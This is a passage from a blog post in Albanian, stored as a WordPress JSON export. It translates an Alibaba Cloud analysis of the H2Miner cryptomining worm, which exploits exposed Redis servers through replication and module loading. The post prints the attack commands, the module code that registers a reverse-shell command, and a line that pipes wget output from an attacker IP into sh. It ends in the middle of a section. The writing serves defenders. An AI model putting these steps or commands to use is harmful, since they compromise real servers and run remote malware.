{"id":55714,"date":"2020-01-27T00:00:00","date_gmt":"2020-01-26T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce"},"modified":"2020-02-18T14:03:51","modified_gmt":"2020-02-18T11:03:51","slug":"obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","status":"publish","type":"post","link":"https:\/\/prohoster.info\/sq\/blog\/administrirovanie\/obnaruzhena-novaya-vspyshka-h2miner-chervej-kotorye-ekspluatiruyut-redis-rce","title":{"rendered":"U zbulua nj\u00eb shp\u00ebrthim i ri i krimbave H2Miner, t\u00eb cil\u00ebt shfryt\u00ebzojn\u00eb Redis RCE","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

Nj\u00eb dit\u00eb m\u00eb par\u00eb, nj\u00eb nga server\u00ebt e projektit tim u sulmua nga nj\u00eb worm t\u00eb ngjash\u00ebm. N\u00eb k\u00ebrkim t\u00eb p\u00ebrgjigjes p\u00ebr pyetjen \"\u00e7far\u00eb ishte kjo?\" gjeta nj\u00eb artikull t\u00eb shk\u00eblqyer nga ekipi i Siguris\u00eb s\u00eb Alibaba Cloud. Duke qen\u00eb se nuk e gjeta k\u00ebt\u00eb artikull n\u00eb habr, vendosa ta p\u00ebrkthej ve\u00e7mas p\u00ebr ju <3\n<\/p><\/blockquote>\n

Hyrje<\/h2>\n

\nS\u00eb fundmi, ekipi i siguris\u00eb s\u00eb Alibaba Cloud zbuloi nj\u00eb shp\u00ebrthim t\u00eb papritur t\u00eb H2Miner. Ky lloj worm-i keqdash\u00ebs p\u00ebrdor munges\u00ebn e autorizimit ose fjal\u00ebkalimet e dob\u00ebta p\u00ebr Redis si porte p\u00ebr n\u00eb sistemet tuaja, pasuar nga sinkronizimi i modulit t\u00eb tij t\u00eb keqdash\u00ebs ndaj slave p\u00ebrmes sinkronizimit master-slave dhe, m\u00eb n\u00eb fund, ngarkon k\u00ebt\u00eb modul t\u00eb keqdash\u00ebm n\u00eb makin\u00ebn e sulmuar dhe ekzekuton instrukcionet e d\u00ebmsh\u00ebm.<\/p>\n

N\u00eb t\u00eb kaluar\u00ebn, sulmet ndaj sistemeve tuaja kryesisht realizoheshin p\u00ebrmes nj\u00eb metode q\u00eb p\u00ebrfshinte detyrat e planifikuara ose \u00e7el\u00ebsat SSH, t\u00eb cilat regjistroheshin n\u00eb makin\u00ebn tuaj pas hyrjes s\u00eb sulmuesit n\u00eb Redis. Fatmir\u00ebsisht, kjo metod\u00eb nuk p\u00ebrdoret shpesh p\u00ebr shkak t\u00eb problemeve me kontrollin e lejeve ose p\u00ebr shkak t\u00eb versioneve t\u00eb ndryshme t\u00eb sistemit. Megjithat\u00eb, kjo metod\u00eb e ngarkimit t\u00eb modulit t\u00eb keqdash\u00ebm mund t\u00eb ekzekutoj\u00eb direkt komandat e sulmuesit ose t\u00eb fitoj\u00eb akses n\u00eb shell, gj\u00eb q\u00eb \u00ebsht\u00eb e rrezikshme p\u00ebr sistemin tuaj.<\/p>\n

P\u00ebr shkak t\u00eb numrit t\u00eb madh t\u00eb servera<\/a> Redis, q\u00eb jan\u00eb t\u00eb vendosura n\u00eb internet (gati 1 milion), ekipi i siguris\u00eb s\u00eb Alibaba Cloud, si nj\u00eb kujtes\u00eb miq\u00ebsore, rekomandon p\u00ebrdoruesit t\u00eb mos ofrojn\u00eb akses n\u00eb Redis nga rrjeti dhe t\u00eb kontrollojn\u00eb rregullisht besueshm\u00ebrin\u00eb e fjal\u00ebkalimeve t\u00eb tyre, si dhe n\u00ebse ato jan\u00eb t\u00eb ekspozuara ndaj thyerjeve t\u00eb shpejta.<\/p>\n

H2Miner<\/h2>\n

\nH2Miner \u00ebsht\u00eb nj\u00eb botnet p\u00ebr minimin e t\u00eb dh\u00ebnave p\u00ebr sistemet bazuar n\u00eb Linux, i cili mund t\u00eb sulmoj\u00eb sistemin tuaj n\u00eb m\u00ebnyra t\u00eb ndryshme, duke p\u00ebrfshir\u00eb munges\u00eb autorizimi n\u00eb Hadoop yarn, Docker dhe vulnerabilitetin e ekzekutimit t\u00eb komandeve t\u00eb larg\u00ebta t\u00eb Redis (RCE). Botnet-i funksionon duke ngarkuar skriptet dhe programet keqdash\u00ebse p\u00ebr t\u00eb minuar t\u00eb dh\u00ebnat tuaja, duke zgjeruar horizontalisht sulmin dhe ruajtur komunikimin me komand\u00eb dhe kontroll (C&C).
\n<\/a><\/noindex><\/p>\n

Redis RCE<\/h2>\n

\nDiturit\u00eb mbi k\u00ebt\u00eb \u00e7\u00ebshtje i ndau Pavel Toporkov n\u00eb ZeroNights 2018. Pas versionit 4.0, Redis mb\u00ebshtet funksionin e ngarkimit t\u00eb moduleve t\u00eb jashtme, q\u00eb u jep p\u00ebrdoruesve mund\u00ebsin\u00eb t\u00eb ngarkojn\u00eb skedar\u00eb so, t\u00eb kompiluar me C n\u00eb Redis p\u00ebr t\u00eb ekzekutuar komanda t\u00eb caktuara Redis. Ky funksion, megjith\u00ebse i dobish\u00ebm, p\u00ebrmban nj\u00eb vulnerabilitet, ku n\u00eb modalitetin master-slave skedar\u00ebt mund t\u00eb sinkronizohen me slave p\u00ebrmes modalitetit fullresync. Kjo mund t\u00eb p\u00ebrdoret nga sulmuesit p\u00ebr t\u00eb d\u00ebrguar skedar\u00eb t\u00eb keqdash\u00ebm so. Pas p\u00ebrfundimit t\u00eb transferimit, sulmuesit ngarkojn\u00eb modul n\u00eb instanc\u00ebn e sulmuar t\u00eb Redis dhe ekzekutojn\u00eb \u00e7do komand\u00eb.<\/p>\n

Analiza e worm-it t\u00eb keqdash\u00ebm<\/h2>\n

\nS\u00eb fundmi, ekipi i siguris\u00eb s\u00eb Alibaba Cloud zbuloi se numri i grupit t\u00eb minator\u00ebve t\u00eb keqdash\u00ebm H2Miner papritmas u rrit shum\u00eb. Sipas analiz\u00ebs, procesi i p\u00ebrgjithsh\u00ebm i shp\u00ebrthimit t\u00eb sulmit duket k\u00ebshtu:<\/p>\n

\"U
\n
\nH2Miner p\u00ebrdor RCE Redis p\u00ebr nj\u00eb sulm t\u00eb plot\u00eb. Fillimisht, sulmuesit sulmojn\u00eb server\u00ebt Redis t\u00eb pambrojtur ose server\u00ebt me fjal\u00ebkalime t\u00eb dob\u00ebta.<\/p>\n

M\u00eb pas ata p\u00ebrdorin komand\u00ebn config set dbfilename red2.so<\/code> p\u00ebr t\u00eb ndryshuar emrin e skedarit. Pas k\u00ebsaj, sulmuesit ekzekutojn\u00eb komand\u00ebn slaveof<\/code> p\u00ebr t\u00eb vendosur adres\u00ebn e hostit t\u00eb replikimit master-slave. <\/p>\n

Kur instanca e sulmuar e Redis vendos lidhjen master-slave me Redis-in e keqdash\u00ebm q\u00eb i p\u00ebrket sulmuesit, sulmuesi d\u00ebrgon modul t\u00eb infektuar me komand\u00ebn fullresync p\u00ebr sinkronizimin e skedar\u00ebve. M\u00eb pas, skedari red2.so do t\u00eb ngarkohet n\u00eb makin\u00ebn e sulmuar. Pas k\u00ebsaj, sulmuesit p\u00ebrdorin modul ngarkimi .\/red2.so p\u00ebr t\u00eb ngarkuar k\u00ebt\u00eb skedar so. Moduli mund t\u00eb ekzekutoj\u00eb komandat e sulmuesit ose t\u00eb nismoj\u00eb nj\u00eb lidhje t\u00eb kthyer (backdoor) p\u00ebr t\u00eb fituar akses n\u00eb makin\u00ebn e sulmuar.<\/p>\n

if (RedisModule_CreateCommand(ctx, \"system.exec\",\n        DoCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n      if (RedisModule_CreateCommand(ctx, \"system.rev\",\n        RevShellCommand, \"readonly\", 1, 1, 1) == REDISMODULE_ERR)\n        return REDISMODULE_ERR;\n<\/code><\/pre>\n
\nPas ekzekutimit t\u00eb komand\u00ebs keqdash\u00ebse, si \/ bin \/ sh -c wget -q -O-http:\/\/195.3.146.118\/unk.sh | sh> \/ dev \/ null 2> & 1<\/code>, sulmuesi do t\u00eb vendos\u00eb emrin e skedarit t\u00eb kopjes dhe do t\u00eb shkarkoj\u00eb modul sistemin p\u00ebr t\u00eb pastruar gjurm\u00ebt. Megjithat\u00eb, skedari red2.so do t\u00eb mbetet akoma n\u00eb makin\u00ebn e sulmuar. P\u00ebrdoruesve u rekomandohet t\u00eb ken\u00eb kujdes p\u00ebr pranin\u00eb e nj\u00eb skedari t\u00eb dyshimt\u00eb n\u00eb dosjen e instanc\u00ebs s\u00eb tyre Redis.<\/p>\n
P\u00ebrve\u00e7 shkat\u00ebrrimit t\u00eb disa proceseve keqdash\u00ebse p\u00ebr t\u00eb vjedhur burime, sulmuesi ndoqi skenarin keqdash\u00ebs, duke ngarkuar dhe ekzekutuar skedar\u00eb keqdash\u00ebs n\u00eb form\u00eb binar\u00ebsh, p\u00ebr t\u00eb 142.44.191.122\/kinsing<\/a><\/noindex>. Kjo do t\u00eb thot\u00eb se emri i procesit ose emri i folderit q\u00eb p\u00ebrmban kinsing n\u00eb host mund t\u00eb tregoj\u00eb se kjo makin\u00eb \u00ebsht\u00eb infektuar nga ky virus.<\/p>\n
Sipas rezultateve t\u00eb inxhinieris\u00eb s\u00eb invers\u00eb, programi i d\u00ebmsh\u00ebm kryesisht kryen funksionet e m\u00ebposhtme:<\/p>\n